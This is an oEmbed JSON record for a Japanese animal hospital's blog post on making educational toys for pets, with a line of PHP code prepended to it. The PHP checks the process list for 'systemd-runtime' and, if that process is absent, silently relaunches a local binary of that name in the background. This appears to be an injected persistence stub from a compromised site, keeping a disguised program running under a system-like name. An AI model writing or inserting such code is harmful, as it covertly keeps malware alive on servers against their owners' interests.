$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); }{"version":"1.0","provider_name":"\u52d5\u7269\u306e\u533b\u5b66 | \u672c\u7267\u901a\u308a\u52d5\u7269\u75c5\u9662","provider_url":"https:\/\/honmokudori.com\/blog","author_name":"YamaguchiNaotaka","author_url":"#","title":"\u3046\u3061\u306e\u5b50\u3092\u5922\u4e2d\u306b\u3055\u305b\u308b\uff01\u77e5\u80b2\u30c8\u30a4\u306e\u4f5c\u308a\u65b9","type":"rich","width":600,"height":338,"html":"
\u3046\u3061\u306e\u5b50\u3092\u5922\u4e2d\u306b\u3055\u305b\u308b\uff01\u77e5\u80b2\u30c8\u30a4\u306e\u4f5c\u308a\u65b9<\/a><\/blockquote>